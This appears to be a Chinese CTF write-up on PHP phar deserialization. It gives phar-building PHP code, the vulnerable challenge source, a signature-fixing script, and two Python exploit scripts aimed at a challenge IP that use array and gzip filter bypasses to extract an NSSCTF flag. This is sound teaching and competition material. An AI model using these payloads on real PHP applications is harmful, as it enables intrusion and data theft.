phar反序列化

 1.phar可以上传到服务器端(存在文件上传)
 2.要有可用的魔术方法作为“跳板”。
 3.操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

 <?php
 /* 文件名 */
 $phar = new phar("a.phar"); //文件名
 $phar->startBuffering();
 /* 设置stub，必须要以__HALT_COMPILER(); ?>结尾 */
 $phar->setStub("<?php __HALT_COMPILER(); ?>");
 /* 添加要压缩的文件 */
 $phar->addFromString("test1.txt","test1");
 $phar->addFromString("test2.txt","test2");
 $phar->stopBuffering();
 ?>

 <?php 
     class TestObject {
         public function __destruct() {
             echo 'Destruct called';
         }
     }
 ​
     $filename = 'phar://phar.phar/test.txt';
     file_get_contents($filename); 
 ?>

 <?php
     class TestObject {
     }
 ​
     @unlink("phar.phar");
     $phar = new Phar("phar.phar");
     $phar->startBuffering();
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
     $o = new TestObject();
     $phar->setMetadata($o); //将自定义meta-data存入manifest
     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

 <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
 highlight_file(__FILE__);
 class getflag {
     function __destruct() {
         echo getenv("FLAG");
     }
 }
 ​
 class A {
     public $config;
     function __destruct() {
         if ($this->config == 'w') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗，我的建议是不要那样做。");
             }
             file_put_contents("./tmp/a.txt", $data);
         } else if ($this->config == 'r') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗，我的建议是不要那样做。");
             }
             echo file_get_contents($data);
         }
     }
 }
 if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
     die("我知道你想干吗，我的建议是不要那样做。");
 }
 unserialize($_GET[0]);
 throw new Error("那么就从这里开始起航吧");

 致命错误 E_ERROR， 语法错误 E_PARSE， 警告错误 E_WARNING， 通知错误 E_NOTICE

 <?php
 class getflag{
 }
 $a = new getflag();
 $a = array(0=>$a,1=>null);
 @unlink("phar.phar");
 $phar = new Phar("phar.phar"); //后缀名必须为phar
 $phar->startBuffering();
 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 $phar->setMetadata($a); //将自定义的meta-data存入manifest
 $phar->addFromString("test.txt", "test"); //添加要压缩的文件（随便填）
 //签名自动计算
 $phar->stopBuffering();
 ?>

 from hashlib import sha1
 with open("phar.phar",'rb') as f:
    text=f.read()
    main=text[:-28]        #正文部分(除去最后28字节)
    end=text[-8:]          #最后八位也是不变的    
    new_sign=sha1(main).digest()
    new_phar=main+new_sign+end
    open("phar.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件
 ​

import requests
import re

url="http://1.14.71.254:28517/"

### 写入phar文件
with open("phar.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过，值就是phar.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件，获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

import requests
import re
import gzip

url="http://1.14.71.254:28517/"

### 先将phar文件变成gzip文件
with open("phar.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件，获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)